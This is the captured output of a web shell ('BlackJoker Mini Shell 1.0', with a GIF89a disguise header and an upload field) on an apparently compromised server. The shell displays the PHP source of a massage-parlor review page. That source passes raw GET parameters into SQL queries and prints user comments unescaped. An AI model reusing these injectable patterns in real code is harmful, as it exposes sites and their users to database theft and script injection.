GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/massageparlor-details.php

<? session_start();

 include("lib/globals.php");

 include("lib/common.php");

 include("lib/functions.php");

 ?>
 <? 
if($_POST)
{
	$sql_rvwid="select * from parlor_review where id='".$_GET['review_id']."'";	
	$res_rvwid=execute_query($sql_rvwid);
	$row_rvwid=mysql_fetch_array($res_rvwid);
	
	$date=date('Y-m-d');
	$desc=addslashes($_POST['userComent']);
	$ins="INSERT INTO prl_review_comt(id,review_id,parlor_id,user_id,coment,date) VALUES('','".$row_rvwid['id']."','".$row_rvwid['parlor_id']."','".$_SESSION['userid']."','$desc','$date')";
	execute_query($ins);
	?>
    <script language="javascript">
    	location.href="massageparlor-details.php?parlor_id=<?=$row_rvwid['parlor_id']?>";
    </script>
    <?
}
?>
 

<? include "includes/header_top.php";?>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.js"></script>

<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>



<body onLoad="initialize()">



<? include "includes/header.php";?>

<div class="wrapper">

	<?

 	$sql_msgprl="SELECT * FROM massageparlor WHERE id='".$_GET['parlor_id']."'";
    $res_msgprl=execute_query($sql_msgprl);
    $num5=mysql_num_rows($res_msgprl);
	$row_lstmsgpl=mysql_fetch_array($res_msgprl)
	?>
   
   <div class="mssgparlor_div">
   <div class="leftt_toppe">
    <div class="dtl_leftt">
    <div class="dtl_lft_hdr">
     <div class="masprl_name">
     	<p class="msgprlname_hdr"><?=$row_lstmsgpl['name'] ?></p>
    	 <p class="date_header">Posted:&nbsp;&nbsp;<? $day2=explode('-',$row_lstmsgpl['create_time']);

					   if($day2[1]==1)

													{

														echo "Jan";

													}

													if($day2[1]==2)

													{

														echo "Feb";

													}

													

													if($day2[1]==3)

													{

														echo "Mar";

													}

													if($day2[1]==4)

													{

														echo "Apr";

													}

													if($day2[1]==5)

													{

														echo "May";

													}

													if($day2[1]==6)

													{

														echo "Jun";

													}

													if($day2[1]==7)

													{

														echo "Jul";

													}

													if($day2[1]==8)

													{

														echo "Aug";

													}

													if($day2[1]==9)

													{

														echo "Sept";

													}

													if($day2[1]==10)

													{

														echo "Oct";

													}

													if($day2[1]==11)

													{

														echo "Nov";

													}

													if($day2[1]==12)

													{

														echo "Dec";

													}

													$date = $day2[0].'/'.$day2[1].'/'.$day2[2];

 													$weekday = date('l', strtotime($date)); // note: first arg to date() is lower-case L

 													

													echo " ".$weekday." ".$day2[2]." ".$day2[0];

					

					?></p></div>
     <div class="star_print">
     	<p class="prldtlss_span">
     	<?
    		$sql_prlreview="SELECT * FROM parlor_review WHERE parlor_id='".$_GET['parlor_id']."'"; 
			$res_prlreview=execute_query($sql_prlreview);
			$num5=mysql_num_rows($res_prlreview);
			if($num5>0)
			{
				while($row_rate=mysql_fetch_array($res_prlreview))

				{
					$total=$total+$row_rate['rating'];
				}
				$finalrate=round($total/$num5);
				?>
                <? for($ik=1; $ik<=$finalrate; $ik++){ ?> <p style="float:left; line-height:35px;"><img src="images/star_active.png" /></p> <? } ?>
			   	<? for($im=1; $im<=(5-$finalrate); $im++){ ?> <p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p><? } ?>
			<? } else { ?>
            
            	<p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p>
                <p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p>
                <p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p>
                <p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p>
                <p style="float:left; line-height:35px;"><img src="images/star_notactive.png" /></p>
            <? }
			
	?>
    </p>
     </div>   
    <br class="spacer" />
    </div> 
    <div class="msgprl_midder">   
     <div class="left_topp">
     	<div class="pordtl_left">
        
        	<table border="0" cellpadding="0" cellspacing="0">
            	<tr style="height:10px;">

                              <td width="10"></td>                            
                              <td width="120"></td>                    
                              <td width="113"></td>
                    
                </tr>
                <tr>
                  <td width="10"></td>                            
                  <td width="200" style="font-size:18px; font-family: 'Open Sans', sans-serif; color:#000; font-weight:bold;"><?=$row_lstmsgpl['phoneNumber']?> </td>                    
                  <td width="100"></td>
                </tr>
                <tr>
                  <td width="10"></td>                            
                  <td width="200" class="text_align"><?=$row_lstmsgpl['street']?> </td>                    
                  <td width="100"></td>
                </tr>
                <? 

						$sql_city="SELECT * FROM citys where id='".$_GET['city_id']."' ";

						$res_city=execute_query($sql_city);

						while($row_city=mysql_fetch_array($res_city)){

						 $sql_state="SELECT * FROM states where id='".$row_city['states_id']."'";

						 $res_state=execute_query($sql_state);

						 $row_state=mysql_fetch_array($res_state);

						

						?>   
                <tr>
                  <td width="10"></td>                            
                  <td width="200" class="text_align"><?=$row_city['name'] ?>,<?=$row_state['short_name']?> <?=$row_lstmsgpl['zipCode'] ?></td>                    
                  <td width="100"></td>
                </tr>
                <? } ?>
                
            </table>
            <table border="0" cellpadding="0" cellspacing="0">
            <tr height="20">
                  <td width="10"></td>		
                  <td width="160"></td>                            
                  <td width="150"></td>                    
                  <td width="10"></td>
                </tr>
                <tr>         	
                  <td colspan="3" class="text_fnt3">Contact<br/><img src="images/mass_prl_divider.png"/></td>
                  </tr>
                  <tr height="10">
                  <td width="10"></td>		
                  <td width="160"></td>                            
                  <td width="150"></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Email :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['email']!=""){ echo $row_lstmsgpl['email'];} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Website :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['Website']!=""){ echo $row_lstmsgpl['Website'];} else{ echo 'No';}?></td>                    
                  <td width="10"></td>
                </tr>
                <tr height="10">
                  <td width="10"></td>		
                  <td width="160"></td>                            
                  <td width="150"></td>                    
                  <td width="10"></td>
                </tr>
                <tr>         	
                  <td colspan="3" class="text_fnt3">Information<br/><img src="images/mass_prl_divider.png"/></td>
                  </tr>
                  <tr height="10">
                  <td width="10"></td>		
                  <td width="160"></td>                            
                  <td width="150"></td>                    
                  <td width="10"></td>
                </tr>
            	<tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Masseuse :</td>                            
                  <td width="150" class="text_align"><?

                     $sql_ethnictname="SELECT a.name FROM masseuseethnicity a INNER JOIN parlor_ethnicity b ON a.id=b.ethnicity_id where b.parlor_id='".$_GET['parlor_id']."'";					 

					 $res_ethnictname=execute_query($sql_ethnictname);

					 $num_ethnictname=mysql_num_rows($res_ethnictname);

					  while($row_ethnictname=mysql_fetch_array($res_ethnictname))

					   {				   

					

					    echo $row_ethnictname['name']. ' ';

                     } ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Table Shower :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['tableShower']==1){ echo 'Yes';} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Sauna :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['sauna']==1){ echo 'Yes';} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Jacuzzi :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['jacuzzi']==1){ echo 'Yes';} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Truck Parking :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['semiTruckParking']==1){ echo 'Yes';} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Privacy Shower :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['privacyForShower']==1){ echo 'Yes';} else{ echo 'No';} ?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">30 Minutes :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['thirtyMinute']==''){ echo '$'.'0';} else{ echo '$'.$row_lstmsgpl['thirtyMinute'];}?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">45 MINUTES :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['fortyFive']==''){ echo '$'.'0';} else{ echo '$'.$row_lstmsgpl['fortyFive'];}?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">60 MINUTES :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['sixty']==''){ echo '$'.'0';} else{ echo '$'.$row_lstmsgpl['sixty'];}?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">90 MINUTES :</td>                            
                  <td width="150" class="text_align"><? if($row_lstmsgpl['ninetyMinute']==''){ echo '$'.'0';} else{ echo '$'.$row_lstmsgpl['ninetyMinute'];}?></td>                    
                  <td width="10"></td>
                </tr>
                <tr>
                  <td width="10"></td>		
                  <td width="160" class="text_align">Accepted Credit Card :</td>                            
                  <td width="150" class="text_align"><?

                     $sql_ethnictname="SELECT a.name FROM payment a INNER JOIN parlor_payment b ON a.id=b.payment_id where b.parlor_id='".$_GET['parlor_id']."'";					 

					 $res_ethnictname=execute_query($sql_ethnictname);
					 $num_ethnictname=mysql_num_rows($res_ethnictname);
					  while($row_ethnictname=mysql_fetch_array($res_ethnictname))

					   {				   
					    echo $row_ethnictname['name']. ' ';
                       } ?></td>                    
                  <td width="10"></td>
                </tr>
            </table>
            
        </div> 
        <div class="prldtl_mid">
        <div class="img_outer">
        	 <div class="imgdiv">
         <? if($row_lstmsgpl['pic']==""){

					?> <img src="images/avtar.jpg" style="width:250px; height:240px; border-radius:4px;" />
					<? }else{				
					?>
						<img src="avtar/<?=$row_lstmsgpl['pic'] ?>" style="width:250px; height:240px; border-radius:4px;" />

					<? } ?>

          </div>
        </div>
        <div class="add_photo">
        
         <div class="photo_div">
         	<a href="more_picture.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/photo_show.png"/></a>
         </div>
         <div class="add_photodiv">
         <? if($_SESSION['userlogin']!="true")
			{?>
				<a href="login.php?massagepl=1&userid=<?=$row_lstmsgpl['user_id']?>&parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/upload_photo.png"/></a>
			<? } else {
				?>
					<a href="masgpl_photo.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/upload_photo.png"/></a>
					  
				<?  } 
			?>
         	
         </div>
      
         
        </div>
        

        </div>

       </div> 

       <div class="left_middd">
       	<table border="0" cellpadding="0" cellspacing="0" style="margin-left:25px;">
        	<tr style="height:10px;">
            	<td></td>
                <td></td>
                <td></td>
            </tr>
        	<tr>
            	<td><a href="contact_us.php"><img src="images/report_err2.png"  /></a></td>
                <td style="width:10px;"></td>
                <td><img src="images/business.png"/></td>
                <td></td>
            </tr>
        </table>
       	
       </div>

       <div class="left_middd">

        <div class="hours_table">

         <p style="font-family: 'Roboto Condensed', sans-serif; margin:0 auto; width:650px; font-weight:bold;"><strong style="font-size:13px; color:#4e0063">HOURS :</strong></p>
			
            <?	

				if($row_lstmsgpl['user_id']==0)

						{ ?>
         <table align="center" border="1px" cellpadding="0" cellspacing="0" width="669px">
          <?	$count=count(explode(':',$row_lstmsgpl['hours']));		  		
		  		$hrs=explode(':',$row_lstmsgpl['hours']);   
		  		if($count>3)
			{

				$final_hrs=$hrs[1].$hrs[2].$hrs[3];
				}
				else
				{
				$final_hrs=$row_lstmsgpl['hours'];
				}
				echo $final_hrs;
            echo "<tr align='center'>";
			echo "<th><font color='black'>" ."Monday"."</font></th>";
			echo "<th><font color='black'>" ."Tuesday"."</font></th>";
			echo "<th><font color='black'>" ."Wednesday"."</font></th>";
			echo "<th><font color='black'>" ."Thrusday"."</font></th>";
			echo "<th><font color='black'>" ."Friday"."</font></th>";
			echo "<th><font color='black'>" ."Satarday"."</font></th>";
			echo "<th><font color='black'>" ."Sunday"."</font></th>";
			echo "</tr>";
			echo "<tr align='center'>";	
				echo"<td><font color='black'>" .$row_lstmsgpl['hours']."</font></td>";
				echo"<td><font color='black'>" .$row_lstmsgpl['hours']."</font></td>";
				echo"<td><font color='black'>". $row_lstmsgpl['hours']. "</font></td>";
				echo"<td><font color='black'>". $row_lstmsgpl['hours']. "</font></td>";
				echo"<td><font color='black'>". $row_lstmsgpl['hours']. "</font></td>";	
				echo"<td><font color='black'>". $row_lstmsgpl['hours']. "</font></td>";
				echo"<td><font color='black'>". $row_lstmsgpl['hours']. "</font></td>";
				echo "</tr>";
		  ?>
         </table>
         <? } else {
         		
                $desc=explode(';',$row_lstmsgpl['hours']);
                $count=count($desc);
                 for($i=0; $i<($count-1); $i++)
                   {
					$part=explode('#',$desc[$i]);
								
					echo "<div style='float:left; width:90px;'><div style='font-weight:bold; border:1px solid #000; padding:5px;'>".$part[0]."</div>";

					echo "<div style='border:1px solid #000; padding:5px;'>".$part[1]."</span></div></div>";
                  }
         
          } ?>
         
        </div>
       </div>       
       
		<br class="spacer" />
         <!--<div style="width:300px; height:100px; background-color:#900; float:left;"></div>-->
         </div> 
         <div class="msg_prlfooterr"></div>

    </div>  
    
    <div class="user_revww">
    	<div class="review_dtls"> 
        <div class="review_heddr">
         <div class="header_lft">
          <p class="rv_hdr_text">User Reviews</p>
          <p class="rv_hdr_text" style="padding-top:10px;"><a href="http://www.mpreviews.com/" target="_blank"><img src="images/read_more_dirty.png"/></a></p>
          
         </div>
         <div class="header_rightt">
          <p style="margin-bottom:5px;"><? if($_SESSION['userlogin']=="true")

			 {?><span><a href="review.php?city_id=<?=$_GET['city_id']?>&porlar_id=<?=$_GET['parlor_id']?>"><img src="images/add_review.png"/></a></span>
              <? } else{?><span><a href="login.php?review=1&porlar_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>"><img src="images/add_review.png"/></a>
             </span> <? } ?></p>
          <p> <? if($_SESSION['userlogin']!="true")
			{?>
				<a href="login.php?massagepl=1&userid=<?=$row_lstmsgpl['user_id']?>&parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/add_phottto.png"/></a>
			<? } else {
				?>
					<a href="masgpl_photo.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/add_phottto.png"/></a>
                    <? } ?></p>
         </div>
        </div> 	
            <h1><img src="images/review_divider.png"/></h1> 
                <? 
				 	$sql_review="SELECT * FROM parlor_review WHERE parlor_id='".$_GET['parlor_id']."'"; 
			 		$res_review=execute_query($sql_review);
					$num_review=mysql_num_rows($res_review);
					if($num_review>0)
					{ 
						while($row_review=mysql_fetch_array($res_review))
						{ ?>
							<div class="revw_cont_hd">                       
						  	<? 
								$sql_usrdtl="SELECT * FROM user_info WHERE userid='".$row_review['user_id']."'"; 						
								$res_userdtl=execute_query($sql_usrdtl);
								$num_userdtl=mysql_num_rows($res_userdtl);
								$row_userdtl=mysql_fetch_array($res_userdtl);								
								?>
                                <div style="float:left; margin-left:2px; margin-top:5px;">
                                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   				<? if($row_userdtl['pic']==""){?>
                                <img src="images/No Image.gif" style="width:20px; height:15px; border:1px solid #666;" />						
								<? }else{ ?>						
                   		<img src="avtar/<?=$row_userdtl['pic']?>" style="width:50px; height:40; border:2px solid #666;" />
                  
								<? } ?>
               				 </p>
                             </div>
                             <div style="float:left; margin-left:2px; margin-top:5px;">
                             	<table border="0" cellpadding="0" cellspacing="0" style="margin-left:10px;" >
                                	<tr>
                                    	<td style="color:#C70000; font-size:15px; font-weight:bold;"><?=$row_userdtl['username'] ?></td>
                                        <td></td>
                                    </tr>
                                    <tr>
                                    	<td><?
											 $finarating=$row_review['rating'];
											for($ik=1; $ik<=$finarating; $ik++)
											{ ?> 
												<p style="float:left;"><img src="images/star_active.png" /></p> 
											<? } 
											for($im=1; $im<=(5-$finarating); $im++)
											{ ?> 
												<p style="float:left;"><img src="images/star_notactive.png" /></p>
											
											<? } ?>
                                        </td>
                                        <td></td>
                                    </tr>
                                    <tr>
                                    	<td style="color:#000; font-weight:bold;">Reviewed :</td>
                                        <td><? $date=explode('-',$row_review['date']); echo $date[1].'/'.$date[2].'/'.$date[0]; ?></td>
                                    </tr>
                                </table>
								
					</div>		 
                        	</div>
                            <div class="revw_cont_body">
                          <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px; font-size:12px; font-family:Arial, Helvetica, sans-serif; font-weight:normal;">
                           <?=$row_review['coment'] ?>
                          </p>
                        </div>
                        <br class="spacer" />
                        <br/>
                        <p style="float:left; font-family:Arial, Helvetica, sans-serif; margin-bottom:3px; color:#000000;">Was this review...?</p>
                        <br/>
                        <!--<script type="text/javascript">
								var count = 0;
								function countClicks() {
								 count = count + 1;
									document.getElementById("p2").innerHTML = count;
								}
								</script>
								
								</head>
								<body>
								<p>
								<a href="javascript:countClicks();">Count Clicks</a>
								</p>
								
								<p id="p2">0</p>-->
                                <script type="text/javascript" src="votejs/jquery.js"></script>
                                <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js"></script>
									<script>
                                    $(document).ready(function()
                                    {
                                      $("span.on_img").mouseover(function ()
                                      {
                                        $(this).addClass("over_img");
                                      });
                                    
                                      $("span.on_img").mouseout(function ()
                                      {
                                        $(this).removeClass("over_img");
                                      });
                                    });
                                    
                                    $(function() {
                                    $(".love").click(function() 
                                    {
                                    var id = $(this).attr("id");
                                    var dataString = 'id='+ id ;
                                    var parent = $(this);
                                    
                                    
                                    $(this).fadeOut(700);
                                    $.ajax({
                                    type: "POST",
                                    url: "ajax_love.php",
                                    data: dataString,
                                    cache: false,
                                    
                                    success: function(html)
                                    {
                                    parent.html(html);
                                    parent.fadeIn(300);
                                    } 
                                    });
                                    
                                    
                                    return false;
                                    
                                     });
                                    });
                                    </script>
                                    <script>
                                    $(document).ready(function()
                                    {
                                      $("span.on_img").mouseover(function ()
                                      {
                                        $(this).addClass("over_img");
                                      });
                                    
                                      $("span.on_img").mouseout(function ()
                                      {
                                        $(this).removeClass("over_img");
                                      });
                                    });
                                    
                                    $(function() {
                                    $(".funny").click(function() 
                                    {
                                    var id = $(this).attr("id");
                                    var dataString = 'id='+ id ;
                                    var parent = $(this);
                                    
                                    
                                    $(this).fadeOut(300);
                                    $.ajax({
                                    type: "POST",
                                    url: "funny_love.php",
                                    data: dataString,
                                    cache: false,
                                    
                                    success: function(html)
                                    {
                                    parent.html(html);
                                    parent.fadeIn(300);
                                    } 
                                    });
                                    
                                    
                                    return false;
                                    
                                     });
                                    });
                                    </script>
                                    <script>
                                    $(document).ready(function()
                                    {
                                      $("span.on_img").mouseover(function ()
                                      {
                                        $(this).addClass("over_img");
                                      });
                                    
                                      $("span.on_img").mouseout(function ()
                                      {
                                        $(this).removeClass("over_img");
                                      });
                                    });
                                    
                                    $(function() {
                                    $(".cool").click(function() 
                                    {
                                    var id = $(this).attr("id");
                                    var dataString = 'id='+ id ;
                                    var parent = $(this);
                                    
                                    
                                    $(this).fadeOut(300);
                                    $.ajax({
                                    type: "POST",
                                    url: "cool_love.php",
                                    data: dataString,
                                    cache: false,
                                    
                                    success: function(html)
                                    {
                                    parent.html(html);
                                    parent.fadeIn(300);
                                    } 
                                    });
                                    
                                    
                                    return false;
                                    
                                     });
                                    });
                                    </script>
                                    
                                    
                                                                        
                        <div class="account_menu">
                        	 
                        	<ul>
                            	<? if($_SESSION['userlogin']!="true")
								{?>
                            	<li><a href="login.php?usefulvote=1&porlar_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>">Useful</a></li>
                                <? } else { ?><li><a class="love" id="<?=$row_review['id']?>" href="#">Useful</a></li> <? }?>
                                
                                <? if($_SESSION['userlogin']!="true")
								{?><li><a href="login.php?funnyvote=1&porlar_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>">Funny</a></li> 							<? } else{ ?><li><a class="funny" id="<?=$row_review['id']?>" href="#">Funny</a></li> <? } ?>                               
                                <? if($_SESSION['userlogin']!="true")
								{?><li><a href="login.php?coolvote=1&porlar_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>">Cool</a></li> 							<? } else {?><li><a class="cool" id="<?=$row_review['id']?>" href="#">Cool</a></li> <? }?>
                                
                            </ul>
                        </div> 
                        <br/>
                        <div class="coment_display">
                         
                        	<? 
							 	$sql_cmt="SELECT * FROM prl_review_comt WHERE review_id='".$row_review['id']."'";
								$res_cmt=execute_query($sql_cmt);
								$num_cmt=mysql_num_rows($res_cmt);
								
								if($num_cmt>0)
								 {?>
                                 <h1>Member Comments</h1>
                                 <?
								 	while($row_cmt=mysql_fetch_array($res_cmt))
									{   $sql_usrdt="SELECT * FROM user_info WHERE userid='".$row_cmt['user_id']."'"; 						
										$res_userdt=execute_query($sql_usrdt);
										$num_userdt=mysql_num_rows($res_userdt);
										$row_userdt=mysql_fetch_array($res_userdt);
										?>
										<div class="com_mid">
									 		<div style="float:left; width:600px;">
                                              <div style="width:600px; height:50px;">
                                     			<p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
													<? if($row_userdt['pic']==""){?>
                                                    <img src="images/No Image.gif" style="width:20px; height:15px; border:1px solid #666;" />						
                                                    <? }else{ ?>						
                                            <img src="avtar/<?=$row_userdt['pic']?>" style="width:40px; height:30px; border:2px solid #666;" />
                                      
                                                    <? } ?>
                                                 </p>
                                                 <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-weight:normal;">
                                                    <span style="color:#C70000; font-size:15px;"><strong><?=$row_userdt['username'] ?></strong></span>
                                                    <br class="spacer"/>
                                                    <span style="color:#00000; margin:0; padding:0; font-size:12px; font-family:Arial, Helvetica, sans-serif; font-weight:normal; line-height:15px;"><strong>Commented :</strong><? $date=explode('-',$row_cmt['date']); echo $date[1].'/'.$date[2].'/'.$date[0]; ?></span>                                   
                                                   
                                                </p>
                                                <p style="padding:0; margin:5px 0 0 10px; float:left; width:380px; text-align:right; font-weight:normal;">
                                                   <? if($_SESSION['userlogin']=="true" && $_SESSION['user']==$row_userdt['username']){?> <span style="font-size:15px;"><a style="color:#000000;" href="delete_coment.php?coment_id=<?=$row_cmt['id']?>&parlor_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>">Delete</a></span><? } ?>
                                                
                                               </div>
                                                
                                     		</div>
                                            <br/>
                                     		<div style="width:600px;">
                                                <?=$row_cmt['coment']?>
                                               </div> 
                                           <br class="spacer" />
                                        </div>
									<? }
								 	
								 }
							?>
                        </div>                       
                                             
                        <div class="revw_cont_cmt">
                         <? if($_SESSION['userlogin']=="true"){?>
                             <div class="review_cmt">
                               <form action="<?=$_SERVER['PHP_SELF'] ?>?review_id=<?=$row_review['id']?>" method="post" name="cmt_frm" style="margin: 0px; padding: 0px;" onSubmit="return validate();">
								<input name="submit_form" value="1" type="hidden">
                                <table class="join_table" border="0" cellpadding="0" cellspacing="0">                                
                                 <tr>
                                  <td><textarea name="userComent" style="width:300px; height:40px; margin-left:5px;"></textarea></td>
                                  <td><br/>          
                                  </td>
                                  <td></td>
                                 </tr>                             
                                 <tr>
                                  <td style="text-align:right;"><input src="images/submit.png" type="image" width="80" height="25" style="margin-left:20px;"/></td>
                                  <td>
                                   
                                  </td>
                                  <td></td>
                                 </tr>                                 
                                </table>
      							</form>
                             </div>
                             <? } else {?>                             
                         		<p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px; font-size:12px; font-family:Arial, Helvetica, sans-serif; font-weight:normal;"><a style="color:#990099;" href="login.php?coment=1&parlor_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>">Please login to give your coment</a></p>
                                <? } ?>
                        </div>
						<br class="spacer" />
					<?	}
					
					}			
				?>
				<!--/*****end if***/-->			
             
        </div>
    </div> 
        </div>   

    <div class="prldtl_right">
    <div class="google_mp">
        <div class="gol_map_hdr">
         <div class="direction_img"><img src="images/direction_img.png"/></div><p><a href="map_direction.php?parlor_id=<?=$_GET['parlor_id']?>&city_id=<?=$_GET['city_id']?>" style="color:#C70000;">&nbsp;Directions</a></p>
         
        </div>
        <div class="gol_map_mid">
        	<div class="google_add">
          	<script type="text/javascript">
            var map;
            var geocoder;
            var centerChangedLast;
            var reverseGeocodedLast;
            var currentReverseGeocodeResponse;
            function initialize() {
                var latlng = new google.maps.LatLng(<?=$row_lstmsgpl['latitude'] ?>,<?=$row_lstmsgpl['longitude'] ?>);
                var myOptions = {
                    zoom: 16,
                    center: latlng,
                    mapTypeId: google.maps.MapTypeId.ROADMAP
                };
                map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
               //geocoder = new google.maps.Geocoder();
                var marker = new google.maps.Marker({
                    position: latlng,
                    map: map,
                    title: "<?=$row_lstmsgpl['name'] ?>"
                });
           }
        </script>
        <div id="map" style="width:270px; height:290px; margin:0 auto; border-radius:4px; margin-top:2px;">
            <div id="map_canvas" style="width:100%; height:280px"></div>
            <div id="crosshair"></div>
        </div>
        </div>
        </div>
        <div class="gol_map_botnnnn"></div>
    </div>
        

        <div class="forums">
         <h1><div class="direction_img2"><img src="images/forum_arrow.png"/></div><p>&nbsp;Forum</p></h1>
          <div class="forum_text">
           <p>There are no discussion</p>
          </div>

          <div class="submit_frm">
         <? if($_SESSION['userlogin']=="true")

			 {?>
              <a href="forum.php"><img src="images/new_frm_topic.png"/></a>
              <? } else {?>
			   <a href="login.php?forum=1"><img src="images/new_frm_topic.png"/><!--<p style="text-align:center; margin:0 auto; color:#FFFFFF; line-height:30px;  font-size:15px; font-family: 'Open Sans', sans-serif; font-weight:bold;">START A NEW TOPIC</p>--></a>
			  <? } ?>
          </div>
          <br class="spacer" />
        </div>
        <div class="advertise_div">
        <? include "includes/bannar_right_botm.php";?> 
        </div>
    </div>
     <br class="spacer" /> 
  </div>
  <br class="spacer" />
</div>
<br class="spacer" />
<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0